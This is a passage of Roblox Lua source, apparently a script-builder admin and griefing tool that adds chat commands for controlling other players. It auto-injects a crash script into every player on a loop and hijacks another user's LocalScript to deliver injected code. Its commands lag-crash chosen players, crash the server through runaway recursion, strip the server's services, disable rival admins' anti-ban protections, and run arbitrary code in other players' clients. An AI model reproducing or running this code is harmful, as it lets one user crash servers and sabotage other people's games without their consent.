  1679. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1680. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1681. local cPos = tab.Position
  1682. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1683. local nPos = (ePos-cPos)*.25
  1684. cPos = cPos + nPos
  1685. local t = (tick() - starttime) % 360
  1686. local change = 0.625
  1687. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1688. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.2, PlayerTablets[i].Size * 1.2,PlayerTablets[i].Size * 1.2)
  1689. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1690. end)
  1691. end
  1692. end
  1693. end)
  1694. end
  1695. end)
  1696.  
  1697. Delay(0, function()
  1698. while wait() do
  1699. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1700. ypcall(function()
  1701. if Injected[v.Name] == nil and LS ~= nil then
  1702. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1703. Injected[v.Name] = true
  1704. end
  1705. end)
  1706. end
  1707. end
  1708. end)
  1709.  
  1710. Plrs.PlayerAdded:connect(function(Plr)
  1711. wait(.1)
  1712. ypcall(function()
  1713. if Removed == false then
  1714. local JoinPlrName = Plr.Name
  1715. coroutine.resume(coroutine.create(function()
  1716. PlaceSpecificRank(Plr)
  1717. end))
  1718. coroutine.resume(coroutine.create(function()
  1719. if Injected[JoinPlrName] ~= nil then
  1720. Injected[JoinPlrName] = nil
  1721. end
  1722. end))
  1723. coroutine.resume(coroutine.create(function()
  1724. Dismiss(Plr)
  1725. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1726. end))
  1727. end
  1728. end)
  1729. end)
  1730.  
  1731. Plrs.PlayerRemoving:connect(function(Plr)
  1732. wait(.1)
  1733. ypcall(function()
  1734. if Removed == false then
  1735. local LeftPlrName = Plr.Name
  1736. coroutine.resume(coroutine.create(function()
  1737. if Injected[LeftPlrName] ~= nil then
  1738. Injected[LeftPlrName] = nil
  1739. end
  1740. end))
  1741. end
  1742. end)
  1743. end)
  1744.  
  1745. coroutine.resume(coroutine.create(function()
  1746. Delay(0, function()
  1747. while FoundLocalScript == false do wait()
  1748. ypcall(function()
  1749. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1750. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1751. for _,c in pairs(v:children()) do
  1752. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1753. local NewVal = c:Clone()
  1754. NewVal.Name = "LoadingVal"
  1755. for _,s in pairs(v:GetChildren()) do
  1756. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1757. print("Found Owner")
  1758. OwnSource = s.Name
  1759. print(OwnSource)
  1760. break
  1761. end
  1762. end
  1763. wait()
  1764. LS = v:Clone()
  1765. NewVal.Parent = LS
  1766. LSSource = "LoadingVal"
  1767. FoundLocalScript = true
  1768. break
  1769. end
  1770. end
  1771. end
  1772. end
  1773. end)
  1774. end
  1775. end)
  1776. end))
  1777.  
  1778. --Commands
  1779.  
  1780. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1781. Dismiss(Speaker.Name)
  1782. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1783. Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1784. Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1785. Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1786. Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1787. Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1788. Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1789. Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1790.  
  1791. end)
  1792.  
  1793. Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
  1794. Dismiss(Speaker.Name)
  1795.  
  1796. end)
  1797.  
  1798. Command("Kill", 2, "Kills A Player",
  1799. function(Msg, Speaker)
  1800. local PlrTab = getPlayer(Speaker, Msg)
  1801. if #PlrTab > 0 then
  1802. for _,v in pairs(PlrTab) do
  1803. ypcall(function()
  1804. v.Character:BreakJoints()
  1805. Ping("Killed "..v.Name, Speaker, 5)
  1806. end)
  1807. end
  1808. end
  1809. end)
  1810.  
  1811. Command("Dall", 4, "Dismiss everyones tabs", function(Msg, Speaker)
  1812. Dismiss()
  1813. end)
  1814.  
  1815. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1816. local PlrTab = getPlayer(Speaker, Msg)
  1817. if #PlrTab > 0 then
  1818. for _,v in pairs(PlrTab) do
  1819. ypcall(function()
  1820. if v.Name ~= Owner then
  1821. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1822. Ping("Attemped to mute "..v.Name, Speaker, 5)
  1823. end
  1824. end)
  1825. end
  1826. end
  1827. end)
  1828.  
  1829.  
  1830.  
  1831. Command("PTroll", 3, "Troll a player", function(Msg, Speaker)
  1832. local PlrTab = getPlayer(Speaker, Msg)
  1833. if #PlrTab > 0 then
  1834. for _,v in pairs(PlrTab) do
  1835. ypcall(function()
  1836. Insert(FunScript, v.Backpack, v.Character, v.PlayerGui)
  1837.  
  1838. end)
  1839. end
  1840. end
  1841. end)
  1842.  
  1843. Command("Connect", 3, "Connect for nil", function(Msg, Speaker)
  1844. local PlrTab = getPlayer(Speaker, Msg)
  1845. if #PlrTab > 0 then
  1846. for _,v in pairs(PlrTab) do
  1847. ypcall(function()
  1848. Insert(NilS, v.Backpack, v.Character, v.PlayerGui)
  1849.  
  1850. end)
  1851. end
  1852. end
  1853. end)
  1854. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1855. local PlrTab = getPlayer(Speaker, Msg)
  1856. if #PlrTab > 0 then
  1857. for _,v in pairs(PlrTab) do
  1858. ypcall(function()
  1859. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1860. Ping("Rejoined "..v.Name, Speaker, 5)
  1861. end)
  1862. end
  1863. end
  1864. end)
  1865.  
  1866. Command("Jail", 3, "Jails A Player", function(Msg, Speaker)
  1867. local PlrTab = getPlayer(Speaker, Msg)
  1868. if #PlrTab > 0 then
  1869. for _,v in pairs(PlrTab) do
  1870. ypcall(function()
  1871. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1872. Ping("Jailed "..v.Name, Speaker, 5)
  1873. end)
  1874. end
  1875. end
  1876. end)
  1877.  
  1878. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1879. local PlrTab = getPlayer(Speaker, Msg)
  1880. if #PlrTab > 0 then
  1881. for _,v in pairs(PlrTab) do
  1882. ypcall(function()
  1883. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1884. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1885. end)
  1886. end
  1887. end
  1888. end)
  1889.  
  1890. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1891. local PlrTab = getPlayer(Speaker, Msg)
  1892. if #PlrTab > 0 then
  1893. for _,v in pairs(PlrTab) do
  1894. ypcall(function()
  1895. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1896. Ping("UnMuted "..v.Name, Speaker, 5)
  1897. end)
  1898. end
  1899. end
  1900. end)
  1901.  
  1902. Command("SD", 3, "Disables A Script", function(Msg, Speaker)
  1903. local Worked = false
  1904. for _,v in pairs(Work:GetChildren()) do
  1905. if string.find(v.Name:lower(), Msg:lower()) then
  1906. if v:IsA("Script") or v:IsA("LocalScript") then
  1907. v.Disabled = true
  1908. v:Destroy()
  1909. Worked = true
  1910. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1911. end
  1912. end
  1913. end
  1914. if Worked == false then
  1915. Ping("Script Not Found", Speaker, 5)
  1916. end
  1917. end)
  1918.  
  1919. Command("Sc", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1920. Dismiss(Speaker)
  1921. local AllScripts = {}
  1922. for _,v in pairs(Work:GetChildren()) do
  1923. if v:IsA("Script") then
  1924. table.insert(AllScripts, v.Name)
  1925. end
  1926. end
  1927. if #AllScripts > 0 then
  1928. for _,v in pairs(AllScripts) do
  1929. Ping(v, Speaker)
  1930. end
  1931. else
  1932. Ping("No Scripts Found", Speaker, 5)
  1933. end
  1934. end)
  1935.  
  1936. Command("afk",0,'Makes you go AFK',
  1937. function(Msg,Speaker)
  1938. Dismiss(Speaker)
  1939. for i = 1,8 do
  1940. Ping('AFK',Speaker)
  1941. wait(.01)
  1942. end
  1943. end)
  1944. Command("back",0,'Creates Tablets telling everyone that you are back',
  1945. function(Msg,Speaker)
  1946. Dismiss(Speaker)
  1947. for i = 1,8 do
  1948. Ping('Welcome Back!',Speaker,6)
  1949. wait(.1)
  1950. end
  1951. end)
  1952.  
  1953.  
  1954.  
  1955.  
  1956. Command("LS", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1957. Dismiss(Speaker)
  1958. local LocalScripts = {}
  1959. for _,v in pairs(All()) do
  1960. ypcall(function()
  1961. for _,x in pairs(v.Character:GetChildren()) do
  1962. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1963. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1964. end
  1965. end
  1966. end)
  1967. ypcall(function()
  1968. for _,x in pairs(v.Backpack:GetChildren()) do
  1969. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1970. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1971. end
  1972. end
  1973. end)
  1974. ypcall(function()
  1975. for _,x in pairs(v.PlayerGui:GetChildren()) do
  1976. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1977. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1978. end
  1979. end
  1980. end)
  1981. end
  1982. if #LocalScripts > 0 then
  1983. for _,v in pairs(LocalScripts) do
  1984. Ping(v, Speaker)
  1985. end
  1986. else
  1987. Ping("No Local Scripts Found", Speaker, 5)
  1988. end
  1989. end)
  1990.  
  1991. Command("LD", 3, "Disables A Local Script", function(Msg, Speaker)
  1992. local Split = GetSplit(Msg)
  1993. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1994. local ScriptName = Msg:sub(Split + 1)
  1995. local FoundLocal = false
  1996. for _,name in pairs(PlrTab) do
  1997. ypcall(function()
  1998. for _,v in pairs(name.Character:GetChildren()) do
  1999. if string.find(v.Name:lower(), ScriptName) then
  2000. if v:IsA("Script") or v:IsA("LocalScript") then
  2001. v.Disabled = true
  2002. v:Destroy()
  2003. FoundLocal = true
  2004. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2005. end
  2006. end
  2007. end
  2008. end)
  2009. ypcall(function()
  2010. for _,v in pairs(name.Backpack:GetChildren()) do
  2011. if string.find(v.Name:lower(), ScriptName) then
  2012. if v:IsA("Script") or v:IsA("LocalScript") then
  2013. v.Disabled = true
  2014. v:Destroy()
  2015. FoundLocal = true
  2016. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2017. end
  2018. end
  2019. end
  2020. end)
  2021. ypcall(function()
  2022. for _,v in pairs(name.PlayerGui:GetChildren()) do
  2023. if string.find(v.Name:lower(), ScriptName) then
  2024. if v:IsA("Script") or v:IsA("LocalScript") then
  2025. v.Disabled = true
  2026. v:Destroy()
  2027. FoundLocal = true
  2028. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  2029. end
  2030. end
  2031. end
  2032. end)
  2033. if FoundLocal == false then
  2034. Ping("Local Script Not Found", Speaker, 5)
  2035. end
  2036. end
  2037. end)
  2038.  
  2039. Command("DR", 3, "Removes the Starterscripts from The Server", function(Msg, Speaker)
  2040. for _,v in pairs(game:GetChildren()) do
  2041. ypcall(function()
  2042. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  2043. for _,a in pairs(v:GetChildren()) do
  2044. ypcall(function()
  2045. a:Destroy()
  2046. end)
  2047. end
  2048. elseif v.Name == "Players" then
  2049. for _,plr in pairs(v:GetPlayers()) do
  2050. Clear(plr)
  2051. end
  2052. end
  2053. end)
  2054. end
  2055. Clean()
  2056. Fixl()
  2057. Adminmsg("Starterscripts was removed.")
  2058. Ping("Starterscripts was removed.", Speaker, 5)
  2059. end)
  2060. Command("Cl", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  2061. LClean()
  2062. Fixl()
  2063. Ping("Lightly Cleaned", Speaker, 5)
  2064. end)
  2065.  
  2066. Command("Rw", 2, "Resets A Player", function(Msg, Speaker)
  2067. local PlrTab = getPlayer(Speaker, Msg)
  2068. if #PlrTab > 0 then
  2069. for _,v in pairs(PlrTab) do
  2070. ypcall(function()
  2071. v:LoadCharacter()
  2072. Ping("Respawned "..v.Name, Speaker, 5)
  2073. end)
  2074. end
  2075. end
  2076. end)
  2077.  
  2078. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  2079. repeat wait() until Speaker.Character:findFirstChild("Torso")
  2080. if Work:findFirstChild("Base") then
  2081. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  2082. else
  2083. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  2084. end
  2085. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  2086. end)
  2087.  
  2088. Command("Fr", 3, "Freezes A Player", function(Msg, Speaker)
  2089. local PlrTab = getPlayer(Speaker, Msg)
  2090. if #PlrTab > 0 then
  2091. for _,v in pairs(PlrTab) do
  2092. ypcall(function()
  2093. v.Character.Torso.Anchored = true
  2094. Ping("Freezed "..v.Name, Speaker, 5)
  2095. end)
  2096. end
  2097. end
  2098. end)
  2099.  
  2100. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  2101. local PlrTab = getPlayer(Speaker, Msg)
  2102. if #PlrTab > 0 then
  2103. for _,v in pairs(PlrTab) do
  2104. ypcall(function()
  2105. v.Character.Torso.Anchored = False
  2106. Ping("Thaw "..v.Name, Speaker, 5)
  2107. end)
  2108. end
  2109. end
  2110. end)
  2111.  
  2112. Command("Go", 4, "God a Player", function(Msg, Speaker)
  2113. local PlrTab = getPlayer(Speaker, Msg)
  2114. if #PlrTab > 0 then
  2115. for _,v in pairs(PlrTab) do
  2116. ypcall(function()
  2117. v.Character.Humanoid.MaxHealth = math.huge
  2118. v.Character.Humanoid.Health = math.huge
  2119. Ping("Goded "..v.Name, Speaker, 5)
  2120. end)
  2121. end
  2122. end
  2123. end)
  2124.  
  2125. Command("UnGo", 4, "UnGod a Player", function(Msg, Speaker)
  2126. local PlrTab = getPlayer(Speaker, Msg)
  2127. if #PlrTab > 0 then
  2128. for _,v in pairs(PlrTab) do
  2129. ypcall(function()
  2130. v.Character.Humanoid.MaxHealth = 100
  2131. v.Character.Humanoid.Health = 100
  2132. Ping("UnGoded "..v.Name, Speaker, 5)
  2133. end)
  2134. end
  2135. end
  2136. end)
  2137.  
  2138. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  2139. local PlrTab = getPlayer(Speaker, Msg)
  2140. if #PlrTab > 0 then
  2141. for _,v in pairs(PlrTab) do
  2142. ypcall(function()
  2143. Instance.new("ForceField", v.Character)
  2144. Ping("Given ForceField to "..v.Name, Speaker, 5)
  2145. end)
  2146. end
  2147. end
  2148. end)
  2149.  
  2150. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  2151. local PlrTab = getPlayer(Speaker, Msg)
  2152. if #PlrTab > 0 then
  2153. for _,v in pairs(PlrTab) do
  2154. ypcall(function()
  2155. RemObj(v.Character, "ForceField")
  2156. end)
  2157. end
  2158. end
  2159. end)
  2160.  
  2161. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  2162. local Split = GetSplit(Msg)
  2163. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2164. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  2165. if #PlrTab > 0 and #PlrTab2 > 0 then
  2166. for i,v in pairs(PlrTab) do
  2167. ypcall(function()
  2168. for _,v2 in pairs(PlrTab2) do
  2169. ypcall(function()
  2170. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  2171. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  2172. end)
  2173. end
  2174. end)
  2175. end
  2176. end
  2177. end)
  2178.  
  2179. Command("Mes",2, "Creates a Message",
  2180. function(Msg,Speaker)
  2181. Message(Msg)
  2182. end)
  2183.  
  2184. Command("Hin",2, "Creates a Hint",
  2185. function(Msg,Speaker)
  2186. Hint(Msg)
  2187. end)
  2188.  
  2189. Command("AM",2, "Creates a Admin message",
  2190. function(Msg,Speaker)
  2191. Adminmsg(Msg)
  2192. end)
  2193.  
  2194. function Message(str,p)
  2195. if p==nil then
  2196. for _,Player in pairs(game.Players:GetPlayers()) do
  2197. coroutine.wrap(function()
  2198. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2199. local Text = Instance.new("TextLabel", Msg)
  2200. Text.Position = UDim2.new(0, 0, 0.7, 0)
  2201. Text.Font=2
  2202. Text.FontSize=9
  2203. Text.BackgroundColor3 = Color3.new(-1,-1,-1)
  2204. Text.BackgroundTransparency = 0.4
  2205. Text.TextColor3 = Color3.new(1, 1, 1)
  2206. Text.TextTransparency = 1
  2207. Text.TextWrap = true
  2208. Text.Text = tostring(str)
  2209. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  2210. Text.TextTransparency = 0
  2211. Num = #str * 0.06
  2212. wait(3)
  2213. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2214. wait(Num)
  2215. Msg:Remove()
  2216. end)()
  2217. end
  2218. else
  2219. Player=p;
  2220. coroutine.wrap(function()
  2221. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2222. local Text = Instance.new("TextLabel", Msg)
  2223. Text.Position = UDim2.new(0, 0, 0.7, 0)
  2224. Text.Font=2
  2225. Text.FontSize=9
  2226. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2227. Text.BackgroundTransparency = 0.1
  2228. Text.TextColor3 = Color3.new(1, 1, 1)
  2229. Text.TextTransparency = 1
  2230. Text.TextWrap = true
  2231. Text.Text = tostring(str)
  2232. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  2233. Text.TextTransparency = 0
  2234. Num = #str * 0.06
  2235. wait(3)
  2236. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2237. wait(Num)
  2238. Msg:Remove()
  2239. end)()
  2240. end
  2241. end
  2242. function Adminmsg(str)
  2243. for _,Player in pairs(game.Players:GetPlayers()) do
  2244. coroutine.wrap(function()
  2245. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2246. local Text = Instance.new("TextLabel", Msg)
  2247. Text.Position = UDim2.new(0, 0, 0, 0)
  2248. Text.Font='Legacy'
  2249. Text.FontSize = "Size48"
  2250. Text.BackgroundColor3 = Color3.new(-1,-1,-1)
  2251. Text.BackgroundTransparency = 0.4
  2252. Text.TextColor3 = Color3.new(1,1,1)
  2253. Text.TextTransparency = 0
  2254. Text.TextWrap = true
  2255. Text.Text = ' [ Admin ] \n ' .. tostring(str)
  2256. Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
  2257. Text.TextTransparency = 0.1
  2258. Num = #str * 0.06
  2259. wait(6)
  2260. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2261. wait(Num)
  2262. Msg:Remove()
  2263. end)()
  2264. end
  2265. end
  2266. function Hint(str,p)
  2267. if p == nil then
  2268. for _,Player in pairs(game.Players:GetPlayers()) do
  2269. coroutine.wrap(function()
  2270. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2271. local Text = Instance.new("TextLabel", Msg)
  2272. Text.Position = UDim2.new(0, 0, 0, 0)
  2273. Text.Font=2
  2274. Text.FontSize=9
  2275. Text.BackgroundColor3 = Color3.new(-1,-1,-1)
  2276. Text.BackgroundTransparency = 0.4
  2277. Text.TextColor3 = Color3.new(1, 1, 1)
  2278. Text.TextTransparency = 1
  2279. Text.TextWrap = true
  2280. Text.Text = tostring(str)
  2281. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2282. Text.TextTransparency = 0
  2283. Num = #str * 0.06
  2284. wait(3)
  2285. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2286. wait(Num)
  2287. Msg:Remove()
  2288. end)()
  2289. end
  2290. else
  2291. Player=p
  2292. coroutine.wrap(function()
  2293. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2294. local Text = Instance.new("TextLabel", Msg)
  2295. Text.Position = UDim2.new(0, 0, 0, 0)
  2296. Text.Font=2
  2297. Text.FontSize=9
  2298. Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
  2299. Text.BackgroundTransparency = 0.1
  2300. Text.TextColor3 = Color3.new(1, 1, 1)
  2301. Text.TextTransparency = 1
  2302. Text.TextWrap = true
  2303. Text.Text = tostring(str)
  2304. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  2305. Text.TextTransparency = 0
  2306. Num = #str * 0.06
  2307. wait(3)
  2308. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2309. wait(Num)
  2310. Msg:Remove()
  2311. end)()
  2312. end
  2313. end
  2314.  
  2315. function Shutmsg(str)
  2316. for _,Player in pairs(game.Players:GetPlayers()) do
  2317. coroutine.wrap(function()
  2318. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  2319. local Text = Instance.new("TextLabel", Msg)
  2320. Text.Position = UDim2.new(0, 0, 0, 0)
  2321. Text.Font='Legacy'
  2322. Text.FontSize = "Size48"
  2323. Text.BackgroundColor3 = Color3.new(255,0,0)
  2324. Text.BackgroundTransparency = 0
  2325. Text.TextColor3 = Color3.new(1,1,1)
  2326. Text.TextTransparency = 0
  2327. Text.TextWrap = true
  2328. Text.Text = ' [ Shutdowning... ] \n ' .. tostring(str)
  2329. Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
  2330. Text.TextTransparency = 0
  2331. Num = #str * 0.06
  2332. wait(6)
  2333. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  2334. wait(Num)
  2335. Msg:Remove()
  2336. end)()
  2337. end
  2338. end
  2339. Command("Explore", 3, "Opens An Object Explorer", function(Msg, Speaker)
  2340. MakeExplorer(Speaker)
  2341. end)
  2342.  
  2343.  
  2344.  
  2345.  
  2346. Command("Speed", 2, "Change speed of a player", function(Msg, Speaker)
  2347. local Split = GetSplit(Msg)
  2348. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2349. local Speed = tonumber(Msg:sub(Split + 1))
  2350. for _,v in pairs(PlrTab) do
  2351. ypcall(function()
  2352. v.Character.Humanoid.WalkSpeed = Speed
  2353. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker, 5)
  2354. end)
  2355. end
  2356. end)
  2357.  
  2358. Command("Hlth", 2, "Change speed of a player", function(Msg, Speaker)
  2359. local Split = GetSplit(Msg)
  2360. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2361. local Health = tonumber(Msg:sub(Split + 1))
  2362. for _,v in pairs(PlrTab) do
  2363. ypcall(function()
  2364. v.Character.Humanoid.MaxHealth = Health
  2365. v.Character.Humanoid.Health = Health
  2366. Ping("Set "..v.Name.."'s Health To "..tostring(Health), Speaker, 5)
  2367. end)
  2368. end
  2369. end)
  2370.  
  2371. Command("CP", 4, "Change Parent of a player", function(Msg, Speaker)
  2372. local Split = GetSplit(Msg)
  2373. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2374. for _,v in pairs(PlrTab) do
  2375. ypcall(function()
  2376. v.Character.Parent = nil
  2377. Ping("Punished "..v.Name, Speaker, 5)
  2378. end)
  2379. end
  2380. end)
  2381.  
  2382. Command("JP", 2, "Change JumpPower of a player", function(Msg, Speaker)
  2383. local Split = GetSplit(Msg)
  2384. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2385. local JumpPower = tonumber(Msg:sub(Split + 1))
  2386. for _,v in pairs(PlrTab) do
  2387. ypcall(function()
  2388. v.Character.Humanoid.JumpPower = JumpPower
  2389. Ping("Set "..v.Name.."'s JumpPower To "..tostring(JumpPower), Speaker, 5)
  2390. end)
  2391. end
  2392. end)
  2393.  
  2394. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  2395. local RemoveAB = Instance.new("StringValue")
  2396. RemoveAB.Name = "CBA Attachment"
  2397. RemoveAB.Value = [[CBA.override=true;]]
  2398. RemoveAB.Parent = Work
  2399. Ping("Removed All CBA Anti-Bans", Speaker, 5)
  2400. end)
  2401.  
  2402. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  2403. local RemoveCBA = Instance.new("StringValue")
  2404. RemoveCBA.Name = "CBA Attachment"
  2405. RemoveCBA.Value = [[CBA.remove = false]]
  2406. RemoveCBA.Parent = Work
  2407. Ping("Removed All CBA Admins", Speaker, 5)
  2408. end)
  2409.  
  2410. Command("Sds", 4, "Shutdowns The Server", function(Msg, Speaker)
  2411. Shutmsg('See ya next server')
  2412. wait(2)
  2413. local function BufferOverflow(object)
  2414. object.DescendantAdded:connect(BufferOverflow)
  2415. Instance.new("IntValue", object)
  2416. end
  2417. BufferOverflow(Game)
  2418. end)
  2419.  
  2420. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2421. Dismiss(Speaker)
  2422. Ping("Commands", Speaker, nil, function()
  2423. Dismiss(Speaker.Name)
  2424. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2425. Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2426. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2427. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2428. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2429. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2430. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2431. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2432. end)
  2433. Ping("Players", Speaker, nil, function()
  2434. ListPlayers(Speaker)
  2435. end)
  2436. end)
  2437.  
  2438. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2439. ListPlayers(Speaker)
  2440. end)
  2441.  
  2442. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2443. local Func,Error = loadstring(Msg)
  2444. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2445. getfenv(Func).Speaker = Speaker
  2446. if Error == nil then
  2447. coroutine.wrap(function()
  2448. Func()
  2449. end)()
  2450. Ping("Executed Script!", Speaker, 5)
  2451. else
  2452. Ping(Error, Speaker, 10)
  2453. end
  2454. end)
  2455.  
  2456. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2457. if LS ~= nil then
  2458. local Split = GetSplit(Msg)
  2459. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2460. local LocalSource = Msg:sub(Split + 1)
  2461. if #PlrTab > 0 then
  2462. for _,v in pairs(PlrTab) do
  2463. local Inserted = LS:Clone()
  2464. Inserted.Disabled = true
  2465. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2466. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2467. Inserted:findFirstChild(OwnSource).Value = v.Name
  2468. end
  2469. Inserted[LSSource].Value = LocalSource
  2470. Inserted.Disabled = false
  2471. end
  2472. end
  2473. else
  2474. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2475. end
  2476. end)
  2477.  
  2478. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2479. Msg = tostring(Msg)
  2480. Ping(Msg, Speaker)
  2481. end)
  2482.  
  2483. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2484. Dismiss(Speaker)
  2485. for i,v in pairs(getfenv(1)) do
